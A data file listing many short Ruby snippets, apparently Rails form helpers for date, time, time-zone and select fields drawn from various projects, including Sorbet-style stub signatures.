"def datetime_select_jp(form, method, options ={})\n options[:use_month_numbers].nil? and options[:use_month_numbers] = true\n options[:end_year] ||= (form.object.send(method) || @show_time).year + 10 \n form.datetime_select(method, options)\n end", "def datetime_select(method, options = {}, html_options = {})\n existing_time = @object.send(method) \n formatted_time = existing_time.to_time.strftime(\"%F %I:%M %p\") if existing_time.present?\n @template.content_tag(:div, :class => \"input-group\") do \n text_field(method, :value => formatted_time, :class => \"form-control datetimepicker\", :\"data-date-format\" => \"YYYY-MM-DD hh:mm A\") +\n @template.content_tag(:span, @template.content_tag(:span, \"\", :class => \"glyphicon glyphicon-calendar\") ,:class => \"input-group-addon\")\n end\n end", "def date_select_old_html (attrs, obj = nil, col = nil)\n date = attrs[:date]\n nullable = attrs[:nullable]\n day_attrs = attrs.merge(\n :name => attrs[:name] + '[day]',\n :id => attrs[:id] + '_day',\n :selected => (date ? date.day.to_s : ''),\n :class => (obj and col) ? (obj.errors[col] ? 'error' : '') : nil,\n :collection => (nullable ? [['', '-']] : []) + (1..31).to_a.map{ |x| x = [x.to_s, x.to_s] }\n )\n \n count = 0\n month_attrs = attrs.merge(\n :name => attrs[:name] + '[month]',\n :id => attrs[:id] + '_month',\n :selected => (date ? date.month.to_s : ''),\n :class => obj ? (obj.errors[col] ? 'error' : '') : nil,\n :collection => (nullable ? [['', '-']] : []) + MONTHS.map { |x| count += 1; x = [count, x] }\n )\n\n min_year = attrs[:min_date] ? attrs[:min_date].year : 1900\n max_year = attrs[:max_date] ? attrs[:max_date].year : date.year + 3\n year_attrs = attrs.merge(\n :name => attrs[:name] + '[year]',\n :id => attrs[:id] + '_year',\n :selected => (date ? date.year.to_s : ''),\n :class => obj ? (obj.errors[col] ? 'error' : '') : nil,\n :collection => (nullable ? [['', '-']] : []) + (min_year..max_year).to_a.reverse.map{|x| x = [x.to_s, x.to_s]}\n )\n select(month_attrs) + '' + select(day_attrs) + '' + select(year_attrs)\n end", "def datetime_select(object_name, method, options = {})\n options.reverse_merge!(LocalizationSimplified::DateHelper::DateSelectOrder)\n orig_datetime_select(object_name, method, options)\n end", "def time_zone_options_for_select(selected = T.unsafe(nil), priority_zones = T.unsafe(nil), model = T.unsafe(nil)); end", "def weekday_select(method, options = T.unsafe(nil), html_options = T.unsafe(nil)); end", "def time_select_for(select_start, select_end) #bcoz time_select name is already a rails helper\n #need to map time_choices to am_pm view format and normal time save format -H\n get_time_choices(select_start, select_end, min_block).map {|t| [t.to_s(:am_pm), t]}\n end", "def valid_times_as_select_options()\n self.valid_times.size()==0 ? \n ValidTime.default.select_options() :\n self.valid_times_sorted.inject([]){|opt,vt| opt + vt.select_options()}\n end", "def select_html(type, options, prefix = nil, include_blank = false, discard_type = false, disabled = false)\n select_html = %(<select name=\"#{prefix || 'date'})\n select_html << \"[#{type}]\" unless discard_type\n select_html << %(\")\n select_html << %( disabled=\"disabled\") if disabled\n select_html << %(>\\n)\n select_html << %(<option value=\"\"></option>\\n) if include_blank\n select_html << options.to_s\n select_html << \"</select>\\n\"\n select_html.html_safe\n end", "def collection_select(method, collection, value_method, text_method, options = T.unsafe(nil), html_options = T.unsafe(nil)); end", "def weekday_select(object, method, options = T.unsafe(nil), html_options = T.unsafe(nil), &block); end", "def date_or_datetime_input(method, options)\n position = { :year => 1, :month => 2, :day => 3, :hour => 4, :minute => 5, :second => 6, :meridie => 7 }\n i18n_date_order = ::I18n.t(:order, :scope => [:date])\n i18n_date_order = nil unless i18n_date_order.is_a?(Array)\n inputs = options.delete(:order) || i18n_date_order || [:year, :month, :day]\n inputs = [] if options[:ignore_date]\n labels = options.delete(:labels) || {}\n\n time_inputs = [:hour, :minute]\n time_inputs << :second if options[:include_seconds]\n time_inputs << :meridie if options[:twelve_hour]\n\n list_items_capture = \"\"\n hidden_fields_capture = \"\"\n\n datetime = options[:selected]\n datetime = @object.send(method) if @object && @object.send(method) # object value trumps :selected value\n datetime = options[:value] unless options[:value].blank?\n\n html_options = options.delete(:input_html) || {}\n input_ids = []\n\n (inputs + [':'] + time_inputs).each do |input|\n input_ids << input_id = generate_html_id(method, \"#{position[input]}i\")\n\n field_name = \"#{method}(#{position[input]}i)\"\n if options[:\"discard_#{input}\"]\n break if time_inputs.include?(input)\n\n hidden_value = datetime.respond_to?(input) ? datetime.send(input) : datetime\n hidden_fields_capture << template.hidden_field_tag(\"#{@object_name}[#{field_name}]\", (hidden_value || 1), :id => input_id)\n else\n opts = strip_formtastic_options(options).merge(:prefix => @object_name, :field_name => field_name, :default => datetime)\n item_label_text = labels[input] || ::I18n.t(input.to_s, :default => input.to_s.humanize, :scope => [:datetime, :prompts])\n\n if input == ':'\n list_items_capture << template.content_tag(:li, ':', :class => 'separator')\n else\n list_items_capture << template.content_tag(:li, Formtastic::Util.html_safe([\n !item_label_text.blank? ? template.content_tag(:label, Formtastic::Util.html_safe(item_label_text), :for => input_id) : \"\",\n template.send(:\"select_#{input}\", datetime, opts, html_options.merge(:id => input_id))\n ].join(\"\"))\n )\n end\n end\n end\n\n hidden_fields_capture << field_set_and_list_wrapping_for_method(method, options.merge(:label_for => input_ids.first), list_items_capture)\n end", "def date_select(method, options = {})\n options[:include_blank] ||= false\n options[:start_year] ||= 1801\n options[:end_year] ||= Time.now.year\n options[:label_for] = \"#{object_name}_#{method}_1i\"\n\t\t build_shell(method, options) { super }\n end", "def calendar_date_select(method, options={})\n options[:class] = \"field text icon \"\n options[:class] << (options.delete(:length) || \"medium\")\n build_shell(method, options) do\n super\n end\n end", "def time_select(method, options = {}, html_options = {})\n @template.time_select(@object_name, method, objectify_options(options), html_options)\n end", "def date_select(object_name, method, options = {})\n options.reverse_merge!(LocalizationSimplified::DateHelper::DateSelectOrder)\n orig_date_select(object_name, method, options)\n end", "def date_or_datetime_input(method, options)\n position = { :year => 1, :month => 2, :day => 3, :hour => 4, :minute => 5, :second => 6 }\n i18n_date_order = ::I18n.t(:order, :scope => [:date])\n i18n_date_order = nil unless i18n_date_order.is_a?(Array)\n inputs = options.delete(:order) || i18n_date_order || [:year, :month, :day]\n\n time_inputs = [:hour, :minute]\n time_inputs << [:second] if options[:include_seconds]\n\n list_items_capture = \"\"\n hidden_fields_capture = \"\"\n\n default_time = options.has_key?(:selected) ? options[:selected] : ::Time.now\n \n # Gets the datetime object. It can be a Fixnum, Date or Time, or nil.\n datetime = options[:selected] || (@object ? @object.send(method) : default_time) || default_time\n \n html_options = options.delete(:input_html) || {}\n input_ids = []\n\n (inputs + time_inputs).each do |input|\n input_ids << input_id = generate_html_id(method, \"#{position[input]}i\")\n\n field_name = \"#{method}(#{position[input]}i)\"\n if options[:\"discard_#{input}\"]\n break if time_inputs.include?(input)\n\n hidden_value = datetime.respond_to?(input) ? datetime.send(input.to_sym) : datetime\n hidden_fields_capture << template.hidden_field_tag(\"#{@object_name}[#{field_name}]\", (hidden_value || 1), :id => input_id)\n else\n opts = strip_formtastic_options(options).merge(:prefix => @object_name, :field_name => field_name, :default => datetime)\n item_label_text = ::I18n.t(input.to_s, :default => input.to_s.humanize, :scope => [:datetime, :prompts])\n\n list_items_capture << template.content_tag(:li,\n template.content_tag(:label, item_label_text, :for => input_id) <<\n template.send(:\"select_#{input}\", datetime, opts, html_options.merge(:id => input_id))\n )\n end\n end\n\n hidden_fields_capture << field_set_and_list_wrapping_for_method(method, options.merge(:label_for => input_ids.first), list_items_capture)\n end", "def build_select(type, select_options_as_html); end", "def time_zone_select(method, priority_zones = nil, options = {}, html_options = {})\n html_options[:class] = \"#{html_options[:class]} time_zone_select\"\n zone_options = \"\".html_safe\n selected = options.delete(:selected)\n model = options.delete(:model) || ActiveSupport::TimeZone\n zones = model.all\n convert_zones = lambda {|list, selected| \n list.map do |z|\n opts = {\n :value => z.name, \n \"data-time-zone-abbr\" => z.tzinfo.current_period.abbreviation, \n \"data-time-zone-tzname\" => z.tzinfo.name,\n \"data-time-zone-offset\" => z.utc_offset,\n \"data-time-zone-formatted-offset\" => z.formatted_offset\n }\n opts[:selected] = \"selected\" if selected == z.name\n content_tag(:option, z.to_s, opts)\n end.join(\"\\n\")\n }\n if priority_zones\n if priority_zones.is_a?(Regexp)\n priority_zones = model.all.find_all {|z| z =~ priority_zones}\n end\n zone_options += convert_zones.call(priority_zones, selected).html_safe\n zone_options += \"<option value=\\\"\\\" disabled=\\\"disabled\\\">-------------</option>\\n\".html_safe\n zones = zones.reject { |z| priority_zones.include?( z ) }\n end\n zone_options += convert_zones.call(zones, selected).html_safe\n tag = INatInstanceTag.new(\n object_name, method, self\n ).to_select_tag_with_option_tags(zone_options, options, html_options)\n form_field method, tag, options.merge(html_options)\n end", "def input\n text_field << date_select << javascript\n end", "def select_day(date, options = T.unsafe(nil), html_options = T.unsafe(nil)); end", "def time_zone_select(object, method, priority_zones = T.unsafe(nil), options = T.unsafe(nil), html_options = T.unsafe(nil)); end", "def time_select(object, method, options = {})\r\n if !options[:order]\r\n options[:order] = DEFAULT_TIME_ORDER\r\n options[:order] << ':' << :second if options[:include_seconds]\r\n else\r\n options[:order] = options[:order] - [:year, :month, :day]\r\n end\r\n datetime_select(object, method, options)\r\n end", "def date_select(field, options={}, &block)\n format_with_label(field, options.merge(:field_type => \"date\"), super(field, purge_custom_tags(options)), &block)\n end", "def build_options_and_select(type, selected, options = T.unsafe(nil)); end", "def simple_date_select(caption, options)\n month_value, day_value, year_value = object.send(options[:month]), object.send(options[:day]), object.send(options[:year])\n end_year = Time.now.year - 10\n html = @template.content_tag(\"dt\", \"#{caption}:\")\n html << @template.content_tag(\"dd\") do\n @template.select_month(month_value, :field_name => options[:month], :prefix => object_name.to_s, :include_blank => options[:include_blank]) + \"\\n\" +\n @template.select_day(day_value, :field_name => options[:day], :prefix => object_name.to_s, :include_blank => options[:include_blank]) + \"\\n\" +\n @template.select_year(year_value, :field_name => options[:year], :prefix => object_name.to_s, :start_year => end_year, :end_year => options[:start_year], :include_blank => options[:include_blank])\n end\n end", "def time_zone_select(method, priority_zones = T.unsafe(nil), options = T.unsafe(nil), html_options = T.unsafe(nil)); end", "def calendar_date_select_process_options(options)\r\n calendar_options = {}\r\n callbacks = [:before_show, :before_close, :after_show, :after_close, :after_navigate]\r\n for key in [:time, :valid_date_check, :embedded, :buttons, :format, :year_range, :month_year, :popup, :hidden, :minute_interval] + callbacks\r\n calendar_options[key] = options.delete(key) if options.has_key?(key)\r\n end\r\n \r\n # if passing in mixed, pad it with single quotes\r\n calendar_options[:time] = \"'mixed'\" if calendar_options[:time].to_s==\"mixed\"\r\n calendar_options[:month_year] = \"'#{calendar_options[:month_year]}'\" if calendar_options[:month_year]\r\n \r\n # if we are forcing the popup, automatically set the readonly property on the input control.\r\n if calendar_options[:popup].to_s == \"force\"\r\n calendar_options[:popup] = \"'force'\"\r\n options[:readonly] = true \r\n end\r\n \r\n if (vdc=calendar_options.delete(:valid_date_check))\r\n if vdc.include?(\";\") || vdc.include?(\"function\")\r\n throw \":valid_date_check function is missing a 'return' statement. Try something like: :valid_date_check => 'if (date > new(Date)) return true; else return false;'\" unless vdc.include?(\"return\");\r\n end\r\n \r\n vdc = \"return(#{vdc})\" unless vdc.include?(\"return\")\r\n vdc = \"function(date) { #{vdc} }\" unless vdc.include?(\"function\")\r\n calendar_options[:valid_date_check] = vdc\r\n end\r\n \r\n calendar_options[:popup_by] ||= \"this\" if calendar_options[:hidden]\r\n \r\n # surround any callbacks with a function, if not already done so\r\n for key in callbacks\r\n calendar_options[key] = \"function(param) { #{calendar_options[key]} }\" unless calendar_options[key].include?(\"function\") if calendar_options[key]\r\n end\r\n \r\n calendar_options[:year_range] = format_year_range(calendar_options[:year_range] || 10)\r\n calendar_options\r\n end", "def datetime_select(object, method, options = {})\r\n # extract the data from the object/method\r\n obj = self.instance_variable_get(\"@#{object}\")\r\n return if obj.nil?\r\n m = obj.send(method)\r\n if m.nil?\r\n myTime = Time.now\r\n else\r\n if m.is_a?(Time) || m.is_a?(Date)\r\n myTime = m\r\n else\r\n myTime = Time.parse(m)\r\n end\r\n end\r\n select_datetime(myTime, options.merge({:prefix => \"#{object}[#{method}]\"}))\r\n end", "def format_datetime\n if @opts[:as] == :select\n values = {}\n if v = @attr[:value]\n v = DateTime.parse(v) unless v.is_a?(Time) || v.is_a?(DateTime)\n values[:year], values[:month], values[:day], values[:hour], values[:minute], values[:second] = v.year, v.month, v.day, v.hour, v.min, v.sec\n end\n _format_date_select(values, @opts[:order] || DEFAULT_DATETIME_ORDER)\n else\n _format_input('datetime-local')\n end\n end", "def select_date_datetime_common(options, date_string, form_id) #:nodoc:\n dom_id = options[:id]\n \n trigger_id = dom_id + '_trigger'\n datepicker_placeholder_id = dom_id + '_date_placeholder'\n date_span_id = dom_id + '_date_view'\n\n date_picker = image_tag('data_grid/calendar_view_month.png', :id => trigger_id, :style => 'cursor: pointer') +\n\n link_to_function(\n content_tag(:span, date_string, :id => date_span_id),\n %! dataGridSetInnerHtml(\"#{date_span_id}\", \"\"); dataGridSetValue(\"#{dom_id}\", \"\"); handleCalendarClose(false, \"#{dom_id}\", \"#{form_id}\");!,\n :class => 'date_label') + ' ' +\n\n hidden_field_tag(options[:name], date_string, :class => 'text-input', :id => dom_id,\n :onchange => \"dataGridSetInnerHtml(\\\"#{date_span_id}\\\", this.value);\")\n\n return date_picker, datepicker_placeholder_id, trigger_id, dom_id, date_span_id\n end", "def weekday_options_for_select(selected = T.unsafe(nil), index_as_value: T.unsafe(nil), day_format: T.unsafe(nil), beginning_of_week: T.unsafe(nil)); end", "def time_field(method, *args)\n db_type = type_from_database(method)\n\n # Note that if the database type is string or text, we still use a\n # time_select, as we're assuming it is then a serialized object.\n unless db_type.nil? or db_type =~ /^(?:string|text)$/\n self.send \"#{db_type}_select\", method, *args\n else\n self.time_select method, *args\n end\n end", "def time_select(f, field, options_tag = {}, html_options = {})\n output = f.select(:\"#{field}_hour\", (1..12).to_a, {}, html_options.merge(\"aria-label\": f.object.class.human_attribute_name(\"#{field}_hour\")))\n output.safe_concat f.select(:\"#{field}_min\", minute_options(options_tag[:minute_step]), {}, html_options.merge(\"aria-label\": f.object.class.human_attribute_name(\"#{field}_min\")))\n output.safe_concat f.select(:\"#{field}_meridian\", %w(AM PM), {}, html_options.merge(\"aria-label\": f.object.class.human_attribute_name(\"#{field}_meridian\")))\n content_tag :div, output, class: \"time-select\"\n end", "def select_second(datetime, options = T.unsafe(nil), html_options = T.unsafe(nil)); end", "def dateselection\nend", "def time_select(time, options = {})\n raise 'No name provided to time_select' unless name = options[:name]\n time ||= Time.now\n %{\n <select id=\"#{name}.hour\" name=\"#{name}.hour\">\n #{options(:labels_values => (1..60).to_a, :selected => time.hour)} \n </select>&nbsp;\n <select id=\"#{name}.min\" name=\"#{name}.min\">\n #{options(:labels_values => (1..60).to_a, :selected => time.min)} \n </select>}\n end", "def select_date(month, day, year)\n select month, from: \"report_date_month\"\n select day, from: \"report_date_day\"\n select year, from: \"report_date_year\"\n end", "def _format_date_select(values, order)\n name = @attr[:name]\n id = @attr[:id]\n ops = DEFAULT_DATE_SELECT_OPS\n ops = ops.merge(@opts[:select_options]) if @opts[:select_options]\n first_input = true\n format = DATE_SELECT_FORMAT\n @opts[:select_labels] ||= {}\n order.map do |x|\n next x if x.is_a?(String)\n options = ops[x].map do |value, text|\n [text || sprintf(format, value), value]\n end\n opts = @opts.merge(:label=>@opts[:select_labels][x], :wrapper=>nil, :error=>nil, :name=>\"#{name}[#{x}]\", :value=>values[x], :options=>options)\n opts[:id] = if first_input\n first_input = false\n id\n else\n \"#{id}_#{x}\"\n end\n form._input(:select, opts).format\n end\n end", "def calendar_date_select_process_options(options)\n options, javascript_options = CalendarDateSelect.default_options.merge(options), {}\n image = options.delete(:image)\n callbacks = [:before_show, :before_close, :after_show, :after_close, :after_navigate]\n for key in [:time, :valid_date_check, :embedded, :buttons, :clear_button, :format, :year_range, :month_year, :popup, :hidden, :minute_interval] + callbacks\n javascript_options[key] = options.delete(key) if options.has_key?(key)\n end\n\n # if passing in mixed, pad it with single quotes\n javascript_options[:time] = \"'mixed'\" if javascript_options[:time].to_s==\"mixed\"\n javascript_options[:month_year] = \"'#{javascript_options[:month_year]}'\" if javascript_options[:month_year]\n\n # if we are forcing the popup, automatically set the readonly property on the input control.\n if javascript_options[:popup].to_s == \"force\"\n javascript_options[:popup] = \"'force'\"\n options[:readonly] = true\n end\n\n if (vdc=javascript_options.delete(:valid_date_check))\n if vdc.include?(\";\") || vdc.include?(\"function\")\n raise ArgumentError, \":valid_date_check function is missing a 'return' statement. Try something like: :valid_date_check => 'if (date > new(Date)) return true; else return false;'\" unless vdc.include?(\"return\");\n end\n\n vdc = \"return(#{vdc})\" unless vdc.include?(\"return\")\n vdc = \"function(date) { #{vdc} }\" unless vdc.include?(\"function\")\n javascript_options[:valid_date_check] = vdc\n end\n\n javascript_options[:popup_by] ||= \"this\" if javascript_options[:hidden]\n\n # surround any callbacks with a function, if not already done so\n for key in callbacks\n javascript_options[key] = \"function(param) { #{javascript_options[key]} }\" unless javascript_options[key].include?(\"function\") if javascript_options[key]\n end\n\n javascript_options[:year_range] = format_year_range(javascript_options[:year_range] || 10)\n [image, options, javascript_options]\n end", "def build_options_and_select(type, selected, options = {})\n build_select(type, build_options(selected, options))\n end", "def select_datetime(datetime = Time.now, options = {})\r\n # include_blank not allowed!\r\n options.delete(:include_blank)\r\n order = options.delete(:order) || DEFAULT_DATETIME_ORDER.dup\r\n # Make sure it includes :ampm if 12-hour and vice-versa\r\n (options[:twelve_hour] = true) if order.include?(:ampm)\r\n (order << :ampm) if options[:twelve_hour] && !order.include?(:ampm)\r\n \r\n outstring = \"\"\r\n # Call the non-instanced helpers in order\r\n select_by_key = Proc.new { |key| self.send(\"select_#{key.to_s}\", datetime, cleanoptions(options, key)) }\r\n for key in order\r\n if key.is_a?(Symbol)\r\n outstring << select_by_key.call(key) rescue outstring << key.to_s\r\n else\r\n outstring << key.to_s \r\n end\r\n end\r\n outstring\r\n end", "def date_select_html(val)\n %(<option value=\"#{val}\" selected=\"selected\">#{val}</option>)\n end", "def input_html_classes\n super.push(\"datetimepicker\")\n end", "def request_select\n end", "def input_html_classes\n super.push('datepicker')\n end", "def _whimsy_forms_select(\n name: nil,\n label: 'Enter string',\n value: '', # Currently selected value\n valuelabel: '', # Currently selected valuelabel\n options: nil, # ['value'] or {\"value\" => 'Label for value'} of all selectable values\n multiple: false, # Not currently supported\n required: false,\n readonly: false,\n icon: nil,\n iconlabel: nil,\n iconlink: nil,\n placeholder: nil, # Currently displayed text if value is blank (not selectable)\n helptext: nil\n )\n return unless name\n aria_describedby = \"#{name}_help\" if helptext\n _div.form_group do\n _label.control_label.col_sm_3 label, for: \"#{name}\"\n _div.col_sm_9 do\n _div.input_group do\n _select.form_control name: \"#{name}\", id: \"#{name}\", aria_describedby: \"#{aria_describedby}\", required: required, readonly: readonly do\n if ''.eql?(value)\n if ''.eql?(placeholder)\n _option '', value: '', selected: 'selected'\n else\n _option \"#{placeholder}\", value: '', selected: 'selected', disabled: 'disabled', hidden: 'hidden'\n end\n else\n _option ''.eql?(valuelabel) ? \"#{value}\" : \"#{valuelabel}\", value: \"#{value}\", selected: 'selected'\n end\n if options.kind_of?(Array)\n options.each do |opt|\n _option opt, value: opt\n end\n else\n options.each do |val, disp|\n _option disp, value: val\n end\n end\n end\n _whimsy_forms_iconlink(icon: icon, iconlabel: iconlabel, iconlink: iconlink)\n end\n if helptext\n _span.help_block id: \"#{aria_describedby}\" do\n _markdown \"#{helptext}\"\n end\n end\n end\n end\n end", "def input_html_options\n super.merge(class: \"form-control datepicker\")\n end", "def get_select_format\n \treturn @OFFER_TYPES.map{|v| [v,v]}\n end", "def select_date(date = Date.today, options = {})\r\n if !options[:order]\r\n options[:order] = [:year, :month, :day]\r\n else # don't allow time, just dates\r\n options[:order] = options[:order] - [:hour, :minute, :second, :ampm]\r\n end\r\n select_datetime(date, options)\r\n end", "def date_select(label, options = {})\n options.reverse_merge!({ :order => [ :month, :day, :year ] })\n\n labeled_field(label, options) { super label, options }\n end", "def select_custom_fields\n group_custom_fields 'select'\n end", "def is_select(select_field = :name, options = {}) \n raise ArgumentError, \"The :select_field, must be an existing attribute in the Model. Got [ #{select_field.inspect} ]\" unless properties.any?{ |p| p.name == select_field.to_sym }\n \n @select_options = {\n :value_field => \"id\", \n # add specical features if we are working with Tree Model\n :is_tree => false\n }.merge(options)\n \n @select_field = select_field\n @value_field = @select_options[:value_field]\n \n \n # Add class & Instance methods\n extend DataMapper::Is::Select::ClassMethods\n # include DataMapper::Is::Select::InstanceMethods\n \n end", "def datetimepicker(object_name, method, options = {})\n input_tag = JqueryDatetimepick::InstanceTag.new(object_name, method, self, options)\n dp_options, tf_options = input_tag.split_options(options)\n tf_options[:value] = input_tag.format_datetime(tf_options[:value], String.new(dp_options[:dateFormat])) if tf_options[:value] && !tf_options[:value].empty? && dp_options.has_key?(:dateFormat)\n [ :minDateTime, :maxDateTime ].each do |var|\n if(o = dp_options[var])\n if o.respond_to?(:strftime)\n dp_options[var] = \"new Date(#{o.to_i*1000})\"\n else\n dp_options[var] = \"function() { return #{o}; }\"\n end\n end\n end\n json = dp_options.to_json\n json.gsub! /\"(new Date\\([^\\)]*\\))\"/, '\\1'\n json.gsub! /\"(function\\(\\) \\{[^\\}]*\\})\"/, '\\1'\n html= if defined?(ActionView::Helpers::InstanceTag) && ActionView::Helpers::InstanceTag.instance_method(:initialize).arity != 0\n input_tag.to_input_field_tag(\"text\", tf_options)\n else\n ActionView::Helpers::Tags::TextField.new(object_name, method, tf_options).render\n end\n html += javascript_tag(\"jQuery(document).ready(function(){jQuery('##{input_tag.get_name_and_id[\"id\"]}').datetimepicker($.extend(#{json}, $.timepicker.regional[#{I18n.locale}]))});\")\n html.html_safe\n end", "def general_info_for_select\n\t\t\n\tend", "def format_date\n if @opts[:as] == :select\n values = {}\n if v = @attr[:value]\n v = Date.parse(v) unless v.is_a?(Date)\n values[:year], values[:month], values[:day] = v.year, v.month, v.day\n end\n _format_date_select(values, @opts[:order] || DEFAULT_DATE_ORDER)\n else\n _format_input(:date)\n end\n end", "def datepicker_options(format, value = nil)\n datepicker_options = {:value => value.try(:strftime, format), :input_html => {:class => 'ui-datepicker'}}\n end", "def build_selects_from_types(order); end", "def day_select_option_tags\n options_for_select DAYS.map.with_index.to_a\n end", "def new_creatable_selection\n select_tag :model_type,options_for_select(creatable_classes.collect{|c| [c.underscore.humanize,c.underscore] })\n end", "def calendar_includes(options = {})\n iso639_locale = options[:locale] || I18n.locale.to_s\n CalendarDateSelect.format = options[:format] || :italian\n calendar_date_select_includes \"ubiquo\", :locale => iso639_locale\n end", "def set_selectbox_options\n set_kind_option\n set_scheduled_times_option\n set_user_option\n end", "def day_sequenced_form_column(record, input_name)\n select_tag(input_name, options_for_select(DD, record.collected_on_day))\n end", "def selected_options; end", "def selected_options; end", "def select_date_filter(timeframe)\n case timeframe.downcase\n when 'today'\n date_option_today.click\n when 'yesterday'\n date_option_yesterday.click\n when 'last 7 days'\n date_option_last_seven.click\n when 'last 30 days'\n date_option_last_thirty.click\n else\n fail(ArgumentError.new(timeframe + ' was not found. use select_custom_date_filter for custom dates'))\n end\n end", "def date_picker(field, options = {})\n append_class_option(options, \"date_picker\")\n date_field(field, options)\n end", "def type_select object, method, label_text, options\n content_tag :div, :class => :\"type-select\" do\n attr_id = \"#{object.class.to_s.downcase}[#{method}]\".to_sym\n output = String.new\n output << content_tag(:label, label_text, :for => attr_id) unless label_text.blank?\n output << select_tag(attr_id, options)\n end\n end", "def search_time_select_box(time = nil)\n select_tag 'searchTime',\n options_for_select(\n options_for_time_select,\n time || TimeSanitizer.time_ceil_at(DateTime.now.in_time_zone, 30).strftime('%H:%M')\n ),\n class: 'select2_time form-control'\n end", "def datetime_input(method, options)\n options[:date_format] = :short_datetime\n case get_rule(method).visibility\n when :enabled \n return datetime_enabled(method, options)\n when :disabled \n return disabled_field(method, options)\n end\n end", "def html_for_date_field(object, field)\n \"<p>\n <label for = '#{field}' >\n Select your #{field}:\n </label>\n <input type = 'date' \n name = create_form[#{field}]\n placeholder = 'mm/dd/yy'\n value = '#{date_humanized(object.send(field))}'>\n </input>\n </p>\"\n end", "def time_zone_input(method, options)\n html_options = options.delete(:input_html) || {}\n selected_value = options.delete(:selected)\n\n self.label(method, options_for_label(options)) <<\n self.time_zone_select(method, options.delete(:priority_zones),\n strip_formtastic_options(options).merge(:default => selected_value), html_options)\n end", "def select_list; end", "def my_datetime_input_html(fragment,strfformat)\n template.send(\n :text_field_tag,\n '%s[%s_%s]' % [object_name, method, fragment.to_s],\n (value.respond_to? :strftime) ? value.strftime(strfformat) : value,\n input_html_options.merge(\n :id => fragment_id(fragment), \n :class => [\"input-small\", \"%s_picker\" % fragment.to_s].join(' '))\n )\n end", "def select_time(datetime = Time.now, options = {})\r\n if !options[:order]\r\n options[:order] = DEFAULT_TIME_ORDER\r\n options[:order] << ':' << :second if options[:include_seconds]\r\n else\r\n options[:order] = options[:order] - [:year, :month, :day]\r\n end\r\n select_datetime(datetime, options)\r\n end", "def select_time(time, options)\n time = Time.zone.parse(time)\n base_dom_id = get_base_dom_id_from_label_tag(options[:from])\n\n find(:xpath, \".//select[@id='#{base_dom_id}_4i']\").select(time.hour.to_s.rjust(2, '0'))\n find(:xpath, \".//select[@id='#{base_dom_id}_5i']\").select(time.min.to_s.rjust(2, '0'))\n end", "def datepicker(object_name, method, options = {}, timepicker = false)\n input_tag = JqueryDatepick::Tags.new(object_name, method, self, options)\n dp_options, tf_options = input_tag.split_options(options)\n tf_options[:value] = input_tag.format_date(tf_options[:value], String.new(dp_options[:dateFormat])) if tf_options[:value] && !tf_options[:value].empty? && dp_options.has_key?(:dateFormat)\n html = input_tag.render\n method = timepicker ? \"datetimepicker\" : \"datepicker\"\n html += javascript_tag(\"jQuery(document).ready(function(){jQuery('##{input_tag.get_name_and_id(tf_options.stringify_keys)[\"id\"]}').#{method}(#{dp_options.to_json})});\")\n html.html_safe\n end", "def alchemy_datepicker(object, method, html_options={})\n text_field(object.class.name.underscore.to_sym, method.to_sym, {\n :type => 'date',\n :class => 'thin_border date',\n :value => object.send(method.to_sym).nil? ? nil : l(object.send(method.to_sym), :format => :datepicker)\n }.merge(html_options))\n end", "def select_date(date, from:)\n label_el = find('label', text: from)\n id = label_el['for'].delete_suffix('_3i')\n select(date.year, from: \"#{id}_1i\")\n select(I18n.l(date, format: \"%B\"), from: \"#{id}_2i\")\n select(date.day, from: \"#{id}_3i\")\n end", "def opportunity_date_ini_type_select\n [\n ['Indefinida', Opportunity::TYPE_UNDEFINED],\n ['Lo antes posible', Opportunity::TYPE_AS_SOON_AS_POSSIBLE],\n ['Fijar fecha', Opportunity::TYPE_SET_DATE_INI]\n ]\n end", "def render_record_select(options = {}) #:nodoc:\n controller.send(:render_record_select, options) do |options|\n render options\n end\n end", "def select_custom_date_filter(from_date, to_date)\n date_option_custom.click\n custom_date_from.text = from_date\n custom_date_to.text = to_date\n end", "def time_to_select\n selected_at - search.created_at\n end", "def as_select\n Selenium::WebDriver::Support::Select.new(element)\n end", "def basic_description\n \"have time select\"\n end", "def reporthelp_one_selection( form, method )\n now = DateTime.now.utc\n\n if ( method == :range_one_week )\n strings = [\n apphelp_view_hint( :last_week, SavedReportsController ),\n apphelp_view_hint( :this_week, SavedReportsController ),\n apphelp_view_hint( :two_weeks_ago, SavedReportsController ),\n ]\n dates = [\n now - 1.week,\n now,\n now - 2.weeks\n ]\n objects = dates.map do | date |\n ReportWeek.new( date.year, date.cweek )\n end\n else\n strings = [\n apphelp_view_hint( :last_month, SavedReportsController ),\n apphelp_view_hint( :this_month, SavedReportsController ),\n apphelp_view_hint( :two_months_ago, SavedReportsController ),\n ]\n dates = [\n now - 1.month,\n now,\n now - 2.months\n ]\n objects = dates.map do | date |\n ReportMonth.new( date.year, date.month )\n end\n end\n\n keys = [ \"last\", \"this\", \"two\" ]\n array = strings.map.with_index do | string, index |\n o = OpenStruct.new\n o.value = keys[ index ]\n o.text = string % objects[ index ].all # The \"all\" method on a ReportWeek or ReportMonth gives its name/date in a suitable format\n o\n end\n\n form.collection_select(\n method,\n array,\n :value,\n :text,\n {\n :include_blank => '-'\n }\n )\n end", "def datetime_field(object_name, method, options = T.unsafe(nil)); end", "def select_multi(field_name, choices, options = {})\n power_options = power_options!(field_name, options)\n # generic_field(:select, super(field_name, choices, options), field_name, power_options)\n generic_field(:select, 'SELECT MULTI', field_name, power_options)\n end", "def datetimepicker_options(format, value = nil)\n datetimepicker_options = {:value => value.try(:strftime, format), :class => 'ui-timepicker'}\n end", "def ui_select_field(content = nil, options = nil, html_options = nil, &block)\n UiBibz::Ui::Core::Forms::Selects::SelectField.new(content, options, html_options, &block).render\n end", "def date(fieldname, options={}, html_options={})\n title = options.delete(:title) || build_title(fieldname)\n options[:include_blank] ||= true\n css_class = options[:class] || ''\n tag_wrapper title, date_select(fieldname, options, html_options), :dd => { :class => css_class + ' dates' }, :dt => {:class => css_class}\n end", "def shift_type_shift_type_code_search_combo_changed\n\tshift_type_code = get_selected_combo_value(params)\n\tsession[:shift_type_search_form][:shift_type_code_combo_selection] = shift_type_code\n\t@start_times = ShiftType.find_by_sql(\"Select distinct start_time from shift_types where shift_type_code = '#{shift_type_code}'\").map{|g|[g.start_time]}\n\t@start_times.unshift(\"<empty>\")\n\n#\trender (inline) the html to replace the contents of the td that contains the dropdown \n\trender :inline => %{\n\t\t<%= select('shift_type','start_time',@start_times)%>\n\n\t\t}\n\nend", "def select_month(date, options = T.unsafe(nil), html_options = T.unsafe(nil)); end" ]
